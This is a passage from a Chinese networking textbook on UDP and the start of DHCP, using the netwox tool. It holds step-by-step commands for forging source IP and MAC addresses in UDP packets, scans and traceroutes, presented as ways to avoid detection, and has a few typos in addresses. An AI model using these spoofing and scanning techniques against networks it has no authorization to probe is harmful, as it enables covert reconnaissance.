以上输出信息中，每一行的值表示响应包中序列号（SEQ）的值，如3603262943[+556372]。其中，3603262943为第2个响应包[SYN，ACK]中序列号的值，+556372表示该响应包序列号的值和上一个响应包序列号的差值。根据输出信息可以了解到，每次的差值都是随机的，说明序列号没有规律，证明目标主机不存在盲注攻击漏洞。

（2）为了验证该模块的工作机制，通过抓包进行人工判断，如图6.52所示。其中，第5个数据包为向目标主机192.168.59.135发送的[SYN]请求包，第6个数据包为对应的[SYN，ACK]响应包，序列号为3602706571；第8个数据包为第2次向目标主机192.168.59.135发送的[SYN]请求包，第9个数据包为对应的[SYN，ACK]响应包，序列号为3603262943。以此类推，可以看到[SYN，ACK]响应包中的序列号是随机的。

（3）如果目标主机上的端口没有开放，将返回如下信息：



No answer for this SYN (try to increase max-wait)
No answer for this SYN (try to increase max-wait)
No answer for this SYN (try to increase max-wait)
No answer for this SYN (try to increase max-wait)
No answer for this SYN (try to increase max-wait)
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图6.52　随机序列号的[SYN，ACK]响应包


第7章　UDP协议

用户数据报协议（User Datagram Protocol，UDP）是一种传输层协议。在TCP/IP网络中，它与TCP协议一样用于处理数据包，是一种无连接的协议。本章将详细讲解UDP协议的应用。


7.1　UDP协议作用

TCP协议在进行数据传输时，需要建立连接，并且每次传输的数据都需要进行确认。当不再进行传输数据时，还需要断开连接。这样做虽然安全，但是效率较低。而UDP协议正好避免了这些过程，它是一种没有复杂控制，提供面向无连接的通信服务协议。UDP协议具备以下特点：

·没有各种连接：在传输数据前不需要建立连接，也避免了后续的断开连接。

·不重新排序：对到达顺序混乱的数据包不进行重新排序。

·没有确认：发送数据包无须等待对方确认。因此，使用UDP协议可以随时发送数据，但无法保证数据能否成功被目标主机接收。


7.2　UDP数据格式

相比TCP协议，UDP协议的报文结构相对简单。本节将详细讲解UDP报文的数据格式。


7.2.1　UDP报文格式

每个UDP报文分为UDP报头和UDP数据区两部分。报头由4个16位长（2字节）字段组成，分别说明该报文的源端口、目的端口、报文长度和校验值。UDP报文格式如图7.1所示。
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图7.1　UDP报文格式

UDP报文中每个字段的含义如下：

·源端口：这个字段占据UDP报文头的前16位，通常包含发送数据报的应用程序所使用的UDP端口。接收端的应用程序利用这个字段的值作为发送响应的目的地址。这个字段是可选的，所以发送端的应用程序不一定会把自己的端口号写入该字段中。如果不写入端口号，则把这个字段设置为0。这样，接收端的应用程序就不能发送响应了。

·目的端口：接收端计算机上UDP软件使用的端口，占据16位。

·长度：该字段占据16位，表示UDP数据报长度，包含UDP报文头和UDP数据长度。因为UDP报文头长度是8个字节，所以这个值最小为8。

·校验值：该字段占据16位，可以检验数据在传输过程中是否被损坏。


7.2.2　分析UDP数据包

客户端与服务器建立连接后进行通信，除了使用TCP协议外，还可以使用UDP协议。netwox工具提供了相关模块，用于建立UDP服务器和UDP客户端，实现基于UDP协议的数据交互。

【实例7-1】已知主机A的IP地址为192.168.59.132，主机B的IP地址为192.168.59.135。分别在这两个主机上建立UDP服务器和客户端，并进行连接，监听指定端口上的通信信息。具体步骤如下：

（1）在主机A上建立UDP服务器，设置监听端口为80，执行命令如下：



root@daxueba:~# netwox 90 -P 80



执行命令后，没有任何输出信息，但是成功建立了UDP服务器端。

（2）在主机B上建立UDP客户端，连接UDP服务器端80端口，执行命令如下：



root@daxueba:~# netwox 88 -i 192.168.59.135 -p 80



执行命令后，没有任何输出信息，但是成功连接到了UDP服务器端，这里可以输入通信内容。

（3）与UDP服务器端进行通信，在客户端输入hi：



root@daxueba:~# netwox 88 -i 192.168.59.135 -p 80
hi



（4）在服务端可以看到客户端发来的消息如下：



root@daxueba:~#  netwox 90 -P 80
hi



（5）为了验证发送的消息使用的是UDP协议，可以通过抓包进行查看，如图7.2所示。从图中第1个数据包可以看到，是UDP客户端（源IP地址为192.168.59.132）向UDP服务器端（目的IP地址为192.168.59.135）发送的UDP数据包，使用的源端口为随机端口47203，目的端口为80（UDP服务器端监听的端口）。在User Datagram Protocol部分中显示了UDP数据包的详细信息。可以看到源端口、目的端口，以及包长度为11字节、校验值为0xf878等信息。
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图7.2　客户端发往服务器端的UDP包

（6）当服务器向客户端发送消息时，使用的也是UDP协议。例如，在服务器端回复客户端，输入hello：



root@daxueba:~# netwox 90 -P 80
hi
hello



（7）通过抓包验证使用的是UDP协议，如图7.3所示。从第14个数据包可以看到，源IP地址为192.168.59.135，目的IP地址为192.168.59.132，源端口为80，目的端口为随机端口47203。该数据包正好是UDP服务器回复客户端的UDP数据包。在User Datagram Protocol部分中可以看到详细信息。
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图7.3　UDP服务器回复客户端的UDP数据包


7.3　构造UDP包


7.3.1　基于IPv4伪造UDP包


在发送UDP数据包时，为了避免被发现，可以基于IPv4伪造UDP包。它可以设置假的IP地址和假的端口等。伪造包需要使用netwox工具中编号为39的模块来实现。

【实例7-2】基于IPv4伪造UDP包。

（1）不使用选项，直接运行并查看基于IPv4的UDP包，执行命令如下：



root@daxueba:~# netwox 39



输出信息如下：



IP______________________________________________________________.
|version|   ihl |      tos      |            totlen               |
|___4___|___5___|____0x00=0____ |___________0x001C=28______       |
|              id                    |r|D|M|       offsetfrag     |
|_________0x5578=21880__________      |0|0|0|________0x0000=0____ |
|      ttl      |   protocol    |           checksum              |
|____0x00=0_____|____0x11=17____|____________0x5D1F_______        |
|                                  source                         |
|________________________192.168.59.132_______________________    |
|                                destination                      |
|____________________________    5.6.7.8_____________________     |
UDP___________________________________________________________
|          source port          |       destination port          |
|__________0x04D2=1234__________|___________0x0050=80_______      |
|            length             |           checksum              |
|___________0x0008=8____________|_________0xF281=62081_______     |



其中，IP部分为IPv4数据报文头信息，可以看到源IP地址为192.168.59.132，该地址为当前主机的IP地址。UDP部分为UDP数据报文头信息，在该信息中可以看到每个字段的默认值。

（2）基于IPv4伪造UDP数据包，伪造源IP地址为192.168.59.160，源端口为443。向目标主机192.168.59.135的8080端口发送UDP数据包，执行命令如下：



root@daxueba:~# netwox 39 -l 192.168.59.160 -m 192.168.59.135 -o 443 -p 8080



输出信息如下：



IP______________________________________________________________.
|version|   ihl |      tos      |            totlen              |
|___4___|___5___|____0x00=0_____|___________0x001C=28______      |
|              id                     |r|D|M|       offsetfrag   |
|_________ 0x76A7=30375_________|0|0|0|________0x0000=0______    |
|      ttl      |   protocol    |           checksum             |
|____0x00=0_____|____0x11=17____|____________ 0x4BB2_______      |
|                                  source                        |
|________________________192.168.59.160_______________________   |
|                                destination                     |
|________________________192.168.59.135_____________________     |
UDP___________________________________________________________
|          source port          |       destination port         |
|__________ 0x01BB=443__________|_________0x1F90=8080______      |
|            length             |           checksum             |
|___________0x0008=8____________|_________ 0xE61A=58906_______   |



在IP部分中可以看到，源IP地址变为了伪造的地址192.168.59.160。目的IP地址为目标主机的地址。在UDP部分可以看到，源端口为伪造的端口443，UDP数据包的长度为8，校验值为0xE61A。

（3）通过抓包验证成功伪造了UDP数据包，如图7.4所示。从第6个数据包可以看到，源IP地址为192.168.59.160，目的IP地址为192.168.59.135，源端口为443，目的端口为8080。该数据包正是伪造的UDP数据包，在User Datagram Protocol部分中可以看到UDP数据报头字段信息，如长度为8、校验值为0xe61a等。
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图7.4　伪造IP地址的UDP包


7.3.2　基于Ethernet和IPv4伪造UDP数据包

上述基于IPv4伪造UDP包只能伪造IP地址，但是不能伪造MAC地址。netwox工具提供编号为35的模块，它可以基于Ethernet和IPv4伪造UDP包，可以伪造MAC地址。

【实例7-3】基于Ethernet和IPv4伪造UDP包。

（1）不使用选项直接运行查看基于Ethernet和IPv4的UDP包，执行命令如下：



root@daxueba:~# netwox 35



输出信息如下：



Ethernet________________________________________________________.
| 00:0C:29:FD:DE:B8->00:08:09:0A:0B:0C type:0x0800               |
|_____________________________________________________________   |
IP______________________________________________________________.
|version|  ihl  |      tos      |            totlen              |
|___4___|___5___|____0x00=0_____|___________0x001C=28______      |
|              id                     |r|D|M|       offsetfrag   |
|_________ 0x555E=21854_________|0|0|0|________0x0000=0______    |
|      ttl      |   protocol    |           checksum             |
|____0x00=0_____|____0x11=17____|____________ 0x5D39_______      |
|                                  source                        |
|________________________192.168.59.132_______________________   |
|                                destination                     |
|____________________________    5.6.7.8_____________________    |
UDP__________________________________________________________
|          source port          |       destination port         |
|__________0x04D2=1234__________|___________0x0050=80_______     |
|            length             |           checksum             |
|___________0x0008=8____________|_________0xF281=62081_______    |



其中，Ethernet部分表示以太网的数据报信息，在该部分中，00：0C：29：FD：DE：B8为源MAC地址，是当前主机的MAC地址。其他字段的值都为默认值。

（2）基于Ethernet和IPv4伪造UDP包。伪造MAC地址为00：11：22：aa：bb：cc，源端口为443。向目标主机192.168.59.135（其MAC地址为00：0c：29：ca：e4：66）的8080端口发送UDP数据包，执行命令如下：



root@daxueba:~# netwox 35 -a 00:11:22:aa:bb:cc -b 00:0c:29:ca:e4:66 -m
192.168.59.135 -o 443 -p 8080



输出信息如下：



Ethernet________________________________________________________.
| 00:11:22:AA:BB:CC-> 00:0C:29:CA:E4:66 type:0x0800              |
|_____________________________________________________________   |
IP______________________________________________________________.
|version|  ihl  |      tos      |            totlen              |
|___4___|___5___|____0x00=0_____|___________0x001C=28______      |
|              id                     |r|D|M|       offsetfrag   |
|_________ 0xA313=41747_________|0|0|0|________0x0000=0______    |
|      ttl      |   protocol    |           checksum             |
|____0x00=0_____|____0x11=17____|____________ 0x1F62_______      |
|                                  source                        |
|________________________192.168.59.132_______________________   |
|                                destination                     |
|__________________________192.168.59.135_____________________   |
UDP___________________________________________________________
|          source port          |       destination port         |
|__________ 0x01BB=443__________|___________ 0x1F90=8080______   |
|            length             |           checksum             |
|___________0x0008=8____________|_________ 0xE636=58934_______   |



在Ethernet部分可以看到，源MAC地址变为了伪造的地址00：11：22：AA：BB：CC。在IP部分中可以看到，源IP地址仍然为当前主机的IP地址192.168.59.132。

（3）通过抓包验证伪造了MAC地址的UDP数据包，如图7.5所示。其中，第2个数据包为伪造的UDP包，源IP地址为真实的IP地址192.168.59.132。在Ethernet II部分中可以看到，Source的值为00：11：22：aa：bb：cc，该地址为伪造的MAC地址，而不是真实的MAC地址。
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图7.5　伪造MAC地址的UDP包


7.4　UDP协议应用——扫描主机和端口

如果目标主机禁止响应ICMP协议，就无法使用Ping命令来判断主机是否存在。除了使用发送TCP包进行判断以外，还可以通过发送UDP包对主机和端口进行判断。下面将详细介绍如果通过基于UDP协议扫描主机和端口。


7.4.1　扫描主机

对目标主机进行扫描，实质上是向目标主机的指定端口发送UDP Ping包。如果目标主机开启，且对应端口打开，则不返回响应包；如果对应端口未打开，则返回目标主机不可达的ICMP包。netwox工具提供编号为53和54的模块，用来构造UDP Ping包。

【实例7-4】已知目标主机IP地址为192.168.59.135，其MAC地址为00：0c：29：ca：e4：66。在主机192.168.59.132上实施扫描，判断目标主机是否启用，指定端口是否开放。

（1）判断目标主机是否启用，68端口是否开放，执行命令如下：



root@daxueba:~# netwox 53 -i 192.168.59.135 -p 68



输出信息如下：



Ok
Ok
Ok
Ok
Ok
…                                    省略其他信息



输出信息在不断持续的显示OK，表示目标主机已启用，端口没有开放。如果没有任何输出信息，有两种情况：第一种情况是目标主机不存在，第二种情况是目标主机已启用，端口处于开放状态。为了能够更清楚的判断需要进行抓包，通过查看是否有返回的响应来进行判断。

（2）如果没有相应，则捕获到的数据包如图7.6所示。其中，所有的数据包源IP地址都为192.168.59.132（实施主机真实的IP地址），目标IP地址为192.168.59.135，源端口为随机端口，目标端口为68。说明这些数据包就是构造的UDP Ping包。并且，在数据包的Ethernet II部分中可以看到，Source的值为00：0c：29：fd：de：b8，是实施主机真实的MAC地址。
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图7.6　端口开放

（3）如果有相应，捕获到的数据包如图7.7所示。图中捕获到大量的UDP Ping请求包，目标端口为78。每个UDP请求包有对应的响应包，该响应包是一个端口不可达的ICMP包，说明目标主机78端口未开放。
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图7.7　端口未开放

（4）在进行发送UDP Ping包对目标主机进行扫描时，为了避免被发现可以进行伪造UDP Ping包。设置假的源IP地址和MAC地址。例如，伪造源IP地址为192.168.59.170，源MAC地址为1a：2b：3c：a1：b2：c3，执行命令如下：



root@daxueba:~# netwox 54 -i 192.168.59.135 -p 68 -E 1a:2b:3c:a1:b2:c3 -I
192.168.59.170 -e 00:0c:29:ca:e4:66



（5）通过抓包验证成功伪造的地址，如图7.8所示。其中，所有UDP数据包的源IP地址都为伪造地址192.1468.59.170，在Ethernet II部分中可以看到Source的值为1a：2b：3c：a1：b2：c3，该值是伪造的MAC地址。
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图7.8　伪造地址


7.4.2　扫描端口

使用上述方法发送UDP Ping扫描，只能判断目标主机上一个端口，不能批量地对端口进行扫描。netwox工具提供了编号为69和70的模块，用来构造UDP端口扫描包，进行批量扫描。

【实例7-5】已知目标主机IP地址为192.168.59.135，其MAC地址为00：0c：29：ca：e4：66。在主机192.168.59.132上实施端口扫描，判断目标主机多个端口的开放情况。

（1）判断端口20-25的开放情况，执行命令如下：



root@daxueba:~# netwox 69 -i 192.168.59.135 -p 20-25



输出信息如下：



192.168.59.135 - 20 : closed
192.168.59.135 - 21 : closed
192.168.59.135 - 22 : closed
192.168.59.135 - 23 : closed
192.168.59.135 - 24 : closed
192.168.59.135 - 25 : closed



输出信息显示了对端口20-25进行了扫描，closed表示这些端口都是关闭状态。

（2）如果进行抓包，将会捕获到扫描的UDP请求包和返回的ICMP包，如图7.9所示。这时，捕获到12个数据包。其中，数据包4-9为向端口20-25发送的UDP请求包，可以看到源IP地址为192.168.59.133（实施主机的地址），目标IP为192.168.59.135（目标主机）。由于目标主机上的UDP端口20-25未开放，因此返回了对应的ICMP响应包，第10-15的数据包。
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图7.9　捕获端口关闭数据包

（3）如果目标主机端口开放，执行命令后显示信息如下：



root@daxueba:~# netwox 69 -i 192.168.59.135 -p 75-80



输出信息如下：



192.168.59.135 - 75 : timeout (perhaps open)
192.168.59.135 - 76 : timeout (perhaps open)
192.168.59.135 - 77 : timeout (perhaps open)
192.168.59.135 - 78 : timeout (perhaps open)
192.168.59.135 - 79 : timeout (perhaps open)
192.168.59.135 - 80 : timeout (perhaps open)



输出信息显示了对端口75-80进行了扫描，perhaps open表示端口可能为开放状态。

（4）端口为开放状态将不会有对应的响应包。通过抓包进行查看，如图7.10所示。
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图7.10　UDP端口开放数据包

（5）在批量扫描端口时，为了避免被发现，可以进行伪造UDP包，如设置假的源IP地址和MAC地址。例如，伪造源IP地址为192.168.59.150，源MAC地址为10：20：30：40：50：60，执行命令如下：



root@daxueba:~#  netwox 70 -i 192.168.59.135 -p 75-80 -E 10:20:30:40:50:60
-I 192.168.59.150



输出信息如下：



192.168.59.135 - 75 : closed
192.168.59.135 - 76 : closed
192.168.59.135 - 77 : closed
192.168.59.135 - 78 : closed
192.168.59.135 - 79 : closed
192.168.59.135 - 80 : closed



输出信息表示目标主机192.168.59.135上的75-80端口为关闭状态。

（6）通过抓包方式，查看伪造的包，如图7.11所示。其中，第17个数据包源IP地址为192.168.59.150（伪造IP地址），源MAC地址为10：20：30：40：50：60（伪造MAC地址），使用的源端口为随机端口43046，目标端口为75。

（7）端口未开放将返回ICMP包，返回的数据包目标地址同样也为伪造的地址。选择对应的响应包进行查看，如图7.12所示。例如，第25个数据包的目标地址为192.168.59.150（伪造的），目标MAC地址为10：20：30：40：50：60（伪造地址），说明响应信息发送到了伪造的主机上。
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图7.11　伪造地址的UDP端口扫描包
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图7.12　响应包


7.5　UDP协议应用——路由跟踪

除了使用TCP包来进行路由跟踪，还可以UDP包实现。它会向目标主机发送UDP包，当到达经过的路由器时，TTL值为0，还没有找到目标主机，经过的路由器将返回超时消息的ICMP数据包，如果成功到达主机，将不会返回任何响应信息。netwox工具提供了编号为61和62的模块，用来构造UDP包进行路由跟踪。

【实例7-6】主机192.168.12.106向主机125.39.52.26发送UDP包，进行路由跟踪，判断经过哪些路由。

（1）构造UDP包进行路由跟踪，执行命令如下：



root@kali:~# netwox 61 -i 125.39.52.26



输出信息如下：



1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.29.217
6 : 219.158.15.214
8 : 125.39.79.166



输出信息显示了经过的所有路由器的IP地址信息。例如，经过的第三个路由器地址为171.117.240.1。

（2）为了验证构建的UDP包和得到的响应信息，进行抓包查看，如图7.13所示。其中，第1个数据包的源IP地址为192.168.12.106，目标IP地址为125.39.52.26，是构造的UDP包；第2个数据包源IP地址为192.168.12.1，目标IP地址为192.168.12.106，该数据包是第一个网关返回的超时消息的ICMP数据包，表示还没有达到目标主机125.39.52.26。第3个数据包为主机192.168.12.106继续向目标主机125.39.52.26发送的UDP包，第4个数据包为第二个网关返回的超时消息的ICMP数据包。以此类推，直到第16个数据包向目标主机125.39.52.26发送的UDP包以后，并且一直向目标主机发送UDP包都不再得到任何响应包，说明此时成功到达了目标主机。
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图7.13　捕获的数据包

（3）在进行路由跟踪时为了防止被发现，可以伪造源IP地址和MAC地址。设置源IP地址为192.168.12.150，MAC地址为aa：bb：cc：dd：11：22，进行路由跟踪，执行命令如下：



root@kali:~# netwox 62 -i 125.39.52.26 -E aa:bb:cc:dd:11:22 -I 192.168.12.
150 -e ec:17:2f:46:70:ba



输出信息如下：



1 : 192.168.12.1
2 : 192.168.0.1
3 : 183.185.164.1
4 : 218.26.28.157
5 : 218.26.29.217
6 : 219.158.15.214
8 : 125.39.79.162



（4）通过抓包验证伪造地址的UDP包，如图7.14所示。其中，第8个数据包的源IP地址为192.168.59.150（伪造的），目标IP地址为125.39.52.26（目标主机），该数据包就是伪造的UDP包。在Ethernet II部分中可以看到源MAC地址为aa：bb：cc：dd：11：22（伪造的）。第9个数据包为经过的路由183.185.164.1返回的ICMP包，返回的地址为伪造的地址192.168.59.150。
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图7.14　伪造地址的UDP包


7.6　UDP协议应用——网络性能测试

为了了解网络的性能，netwox工具提供了编号编号为157和158的模块，进行测试。其中，157模块用于建立UDP服务器，158模块用于建立UDP客户端。

【实例7-7】已知主机A的IP地址为192.168.59.135，主机B的IP地址为192.168.59.131。使用netwox公的的第157个和158个模块分别在主机A和B进行设置UDP服务器端和客户端，并连接进行网络性能检测。具体步骤如下：

（1）将主机A设置为UDP服务器端，监听的端口为8080，执行命令如下：



root@daxueba:~# netwox 157 -p 8080



执行命令后没有任何输出信息。

（2）将主机B设置为UDP客户端，并连接UDP服务器端，执行命令如下：



root@daxueba:~# netwox 158 -p 8080 -i 192.168.59.135



输出信息如下：



   8406000 Bytes/sec [=~=   75336 kbit/sec]    jitter=      40 usec
   6281860 Bytes/sec [=~=   56299 kbit/sec]    jitter=    6366 usec
   7856287 Bytes/sec [=~=   70410 kbit/sec]    jitter=     399 usec
   6037962 Bytes/sec [=~=   54113 kbit/sec]    jitter=     335 usec
   7500995 Bytes/sec [=~=   67225 kbit/sec]    jitter=     413 usec
Packets sent by server: 91770
Packets recv by client: 74469



输出信息显示了每秒的字节数和UDP抖动（jitter）。

（3）为了验证UDP客户端向UDP服务端的8080端口发包，可以通过抓包查看，如图7.15所示。其中，第3个数据包可以看到主机B向主机A发送的UDP数据包，在Info列中可以看到源端口为随机50267，目标端口为8080（监听的端口）。
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图7.15　连接数据包


第8章　DHCP协议

动态主机配置协议（Dynamic Host Configuration Protocol，DHCP）是基于UDP协议工作的网络配置协议。该协议主要用于集中管理和分配IP地址，帮助网络内的主机获取IP地址、网关和DNS服务器地址。DHCP服务是基于该协议的服务。本节将详细讲解DHCP协议和DHCP服务工作原理。


8.1　地址分配

计算机为了在TCP/IP网络中正常工作，需要获取相应的IP地址。获取IP地址的过程被称为地址分配。计算机获取IP地址的方式有3种，即静态分配、动态分配和零配置。下面依次讲解这3种方式。


8.1.1　静态分配

静态分配也称为手工分配。网络管理员在计算机中直接设置所使用的IP地址。在Windows系统中，用户可以在“Internet协议版本4（TCP/IPv4）属性”对话框中手动配置静态地址，如图8.1所示。勾选“使用下面的IP地址(S)”复选框，然后输入所要使用的IP地址、子网掩码和默认网关。这些信息必须与自己所在的网络信息一致。在“使用下面的DNS服务器地址(E)”文本框中输入首选DNS服务器地址，一般为网关地址。
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图8.1　配置静态地址


8.1.2　动态分配

动态分配是指计算机向DHCP服务器申请IP地址，获取后使用该地址。这时，计算机作为DHCP客户机。在这个过程中，DHCP客户机向DHCP服务器租用IP地址，DHCP服务器只是暂时分配给客户机一个IP地址。只要租约到期，这个地址就会还给DHCP服务器，以供其他客户机使用。如果DHCP客户机仍需要一个IP地址来完成工作，则可以再申请另外一个IP地址。所以，计算机获取的IP地址每次都可能变化，属于动态分配。在Windows系统中，用户可以在“Internet协议版本4（TCP/IPv4）属性”对话框中进行动态分配地址，如图8.2所示。这时，只要勾选“自动获得IP地址(0)”和“自动获得DNS服务器地址(B)”复选框，计算机就会尝试向DHCP服务器请求IP地址了。
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图8.2　动态获取地址


8.1.3　零配置

在动态分配方式中，如果DHCP服务器不在线或出现故障等情况时，客户机就无法获取地址。这时，有些系统将会通过零配置技术为自己分配一个私有的地址，范围为169.254.0.0~169.254.255.255。


8.2　DHCP工作方式

DHCP服务是用来分配IP地址的，所以DHCP服务器必须使用静态分配方式设置IP地址。而DHCP客户端可以从DHCP服务器上获取使用的IP地址。DHCP服务器使用的是UDP 67端口，DHCP客户端使用的是UDP 68端口。本节将详细讲解DHCP工作方式的4个阶段，即发现阶段、提供阶段、选择阶段和确认阶段。


8.2.1　发现阶段（DHCP Discover）

DHCP客户端向所有DHCP服务器的UDP 67端口发送广播数据包以获取IP地址租约，这个数据包被称为DHCP Discover消息。任何收到这个包的DHCP服务器都可以响应这个请求。整个发现阶段的工作方式如图8.3所示。其中，DHCP客户端向DHCP服务器A和B都发送了DHCP Discover广播包。
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图8.3　发现阶段工作方式


8.2.2　提供阶段（DHCP Offer）

DHCP服务器收到DHCP Discover广播包后会检查自己的配置，并发起DHCP Offer广播消息进行响应，为DHCP客户端提供可用的IP地址。该响应包以广播的形式发送到DHCP客户端的UDP 68端口上。整个提供阶段的工作方式如图8.4所示。其中，DHCP服务器A和B都会向DHCP客户端提供自己管理的地址。
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图8.4　提供阶段工作方式


8.2.3　选择阶段（DHCP Request）

DHCP客户端收到地址信息后，会选择第一个到达的租约地址信息。然后发起DHCP Request广播消息，告诉所有DHCP服务器，自己已经做出选择，接受了第一个DHCP服务器的地址。整个选择阶段的工作方式如图8.5所示。其中，DHCP客户端向DHCP服务器A和B都发送了DHCP Request消息广播包，告诉自己选择了DHCP服务器B的地址租约。
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图8.5　选择阶段工作方式


8.2.4　确认阶段（DHCP ACK）

DHCP服务器A和B都收到客户端发来的DHCP Request消息广播包。DHCP服务器B查看信息后，发现客户端选择了自己的地址租约，将返回DHCP ACK广播消息进行最后的确认。DHCP服务器A查看信息以后，发现客户端没有选择自己的地址，将不返回信息。整个确认阶段的工作方式如图8.6所示。其中，服务器B向客户端返回了地址租用的DHCP ACK包，对客户端的请求进行确认。DHCP服务器A没有返回信息，因其地址没有被租用。
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图8.6　确认阶段工作方式


8.2.5　IP续期

客户端从服务器租用IP地址会有一个固定的租约期。除了租约期限外，还有两个时间值T1和T2。其中，T1定义为租约期限的一半，而T2定义为租约期限的7/8。

假设，租约期为8天。当到达T1定义的时间（4天）期限时，客户端会向提供租约的原始服务器发送DHCP Request包，对租约进行更新。如果服务器接受此请求，则回复DHCP ACK消息，包含更新后的租约期限；如果不接受租约更新请求，就不会发送DHCP ACK包。

此后，DHCP客户端会定时发送DHCP Request包。如果一直都没有得到确认，则继续使用此IP地址，直到T2定义的时间（7天）限制。此时，客户端会广播发送DHCP Request包，对租约进行更新。如果租期到达时，客户端既不能更新自己的租期，也无法从其他的DHCP服务器获得新的租期，客户端必须停止使用这个IP地址，从而停止常规的TCP/IP网络操作。


8.3　DHCP报文格式

DHCP协议提供了多种类型的报文，但是基本格式是相同的。不同类型的报文只是报文中的某些字段值不同。DHCP报文的基本格式如图8.7所示。
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图8.7　DHCP报文格式

图8.7中每个字段含义如下：

·op：报文的操作类型。分为请求报文和响应报文。客户端发送给服务器的包为请求报文，值为1；服务器发送给客户端的包为响应报文，值为2。

·htype：DHCP客户端的MAC地址类型。MAC地址类型其实是指明网络类型，htype值为1时表示为最常见的以太网MAC地址类型。

·hlen：硬件地址长度。以太网MAC地址长度为6个字节，即hlen值为6。

·hops：跳数，DHCP报文经过的中继数量。每经过一个路由器，该字段就会增加1。如果没有经过路由器，则值为0（同一网内）。

·xid：事务ID。客户端发起一次请求时选择的随机数，用来标识一次地址请求过程。在一次请求中所有报文的xid都是一样的。

·secs：DHCP客户端从获取到IP地址或者续约过程开始到现在所过去的时间，以秒为单位。在没有获得IP地址前，该字段始终为0。

·flags：BOOTP标志位。只使用第0比特位，是广播应答标识位，用来标识DHCP服务器应答报文是采用单播还是广播发送。其中，0表示采用单播发送方式，1表示采用广播发送方式。其余位尚未使用。

·ciaddr：DHCP客户端的IP地址。仅在DHCP服务器发送的ACK报文中显示，在其他报文中均显示为0。这是因为在得到DHCP服务器确认前，DHCP客户端还没有分配到IP地址。

·yiaddr：DHCP服务器分配给客户端的IP地址。仅在DHCP服务器发送的Offer和ACK报文中显示，其他报文中显示为0。

·siaddr：为DHCP客户端分配IP地址等信息的其他DHCP服务器IP地址。仅在DHCP Offer、DHCP ACK报文中显示，其他报文中显示为0。

·giaddr：转发代理（网关）IP地址，DHCP客户端发出请求报文后经过的第一个DHCP中继的IP地址。如果没有经过DHCP中继，则显示为0。

·chaddr：DHCP客户端的MAC地址。在每个报文中都会显示对应DHCP客户端的MAC地址。

·sname：为客户端分配IP地址的服务器名称（DNS域名格式）。只在DHCP Offer和DHCP ACK报文中显示发送报文的DHCP服务器名称，其他报文显示为0。

·file：DHCP服务器为DHCP客户端指定的启动配置文件名称及路径信息。仅在DHCP Offer报文中显示，其他报文中显示为空。

·options：可选选项，格式为“代码+长度+数据”。

了解了DHCP报文格式以后，下面根据Wireshar抓取的数据包详细讲解DHCP请求IP地址时的每种报文。


8.3.1　DHCP Discover报文

DHCP Discover报文数据包如图8.8所示。
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图8.8　DHCP Discover报文

该数据包是客户端向服务器发送的DHCP Discover数据包。在图8.8中，由于当前客户端还没有IP地址，所以源IP地址为0.0.0.0；客户端是向网络中所有服务器进行发送，使用的是广播包，所以目标IP地址为255.255.255.255。在Bootstrap Protocol(Discover)部分中显示了该数据包报文的每个字段。为了方便讲解，下面将报文字段列出并标注如下：



Bootstrap Protocol (Discover)
    Message type: Boot Request (1)                         #报文的操作类型，这是一个请求包，所以该选项的值为1
    Hardware type: Ethernet (0x01)                         #硬件类型为Ethernet
    Hardware address length: 6                             #硬件地址长度为6
    Hops: 0                                                #经过DHCP中继数为0
    Transaction ID: 0x597c6b82                             #事务ID
    Seconds elapsed: 0                                     #客户端启动时间
    Bootp flags: 0x0000 (Unicast)                          #BOOTP标识字段
    Client IP address: 0.0.0.0                             #客户端IP地址
    Your (client) IP address: 0.0.0.0                      #服务器分配给自己的IP地址
    Next server IP address: 0.0.0.0                        #下一个服务器的IP地址
    Relay agent IP address: 0.0.0.0                        #DHCP中继器的IP地址
    Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a) #客户端的MAC地址
    Client hardware address padding: 00000000000000000000   #客户端硬件地址填充
    Server host name not given                              #服务器主机名
    Boot file name not given                                #启动文件名
    Magic cookie: DHCP                                      #与BOOTP兼容
    Option: (53) DHCP Message Type (Discover)               #DHCP消息类型为53
    Length: 1
    DHCP: Discover (1)                                      #发现包
    Option: (61) Client identifier                          #客户端标识符
    Length: 7
    Hardware type: Ethernet (0x01)                          #硬件类型为Ethernet
    Client MAC address: Vmware_db:3f:0a (00:0c:29:db:3f:0a)                             #客户端MAC地址
    Option: (50) Requested IP Address                       #请求IP地址
        Length: 4
        Requested IP Address: 192.168.0.108                 #请求的IP地址
    Option: (12) Host Name                                  #客户端主机名
        Length: 15
        Host Name: WIN-RKPKQFBLG6C                          #主机名
    Option: (60) Vendor class identifier                    #供应商类标识符
        Length: 8
        Vendor class identifier: MSFT 5.0                   #供应商标识符为MSFT 5.0
    Option: (55) Parameter Request List                     #参数请求列表
        Length: 12
        Parameter Request List Item: (1) Subnet Mask        #子网掩码
        Parameter Request List Item: (15) Domain Name       #域名
        Parameter Request List Item: (3) Router             #路由
        Parameter Request List Item: (6) Domain Name Server #域名服务
        Parameter Request List Item: (44) NetBIOS over TCP/IP Name Server               #NetBIOS名称服务
        Parameter Request List Item: (46) NetBIOS over TCP/IP Node Type                 #NetBIOS节点类型
        Parameter Request List Item: (47) NetBIOS over TCP/IP Scope                     #NetBIOS作用范围
        Parameter Request List Item: (31) Perform Router Discover                       #完成路由发现
        Parameter Request List Item: (33) Static Route       #静态路由
        Parameter Request List Item: (121) Classless Static Route                       #无类静态路由
        Parameter Request List Item: (249) Private/Classless Static Route
        (Microsoft)                                          #私有静态路由
        Parameter Request List Item: (43) Vendor-Specific Information                   #供应商特定信息
    Option: (255) End
        Option End: 255
    Padding: 000000000000000000000000



上述输出信息显示了DHCP Discover报文中相关字段的信息。可以看到客户端的IP地址为0.0.0.0，MAC地址为00：0c：29：db：3f：0a，主机名为WIN-RKPKQFBLG6C，事务ID为0x597c6b82等信息。


8.3.2　DHCP Offer报文

DHCP Offer报文数据包如图8.9所示。
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图8.9　DHCP Offer报文数据包

该数据包是DHCP服务器收到客户端DHCP Discover广播包后返回的DHCP Offer包。报文字段信息如下：



Bootstrap Protocol (Offer)
    Message type: Boot Reply (2)                       #报文的操作类型，这是一个响应包，所以该选项的值为2
    Hardware type: Ethernet (0x01)
    Hardware address length: 6
    Hops: 0
    Transaction ID: 0x597c6b82                         #事务ID
    Seconds elapsed: 0
    Bootp flags: 0x0000 (Unicast)
    Client IP address: 0.0.0.0
    Your (client) IP address: 192.168.0.108            #服务器分配给客户端的IP地址
    Next server IP address: 0.0.0.0
    Relay agent IP address: 0.0.0.0
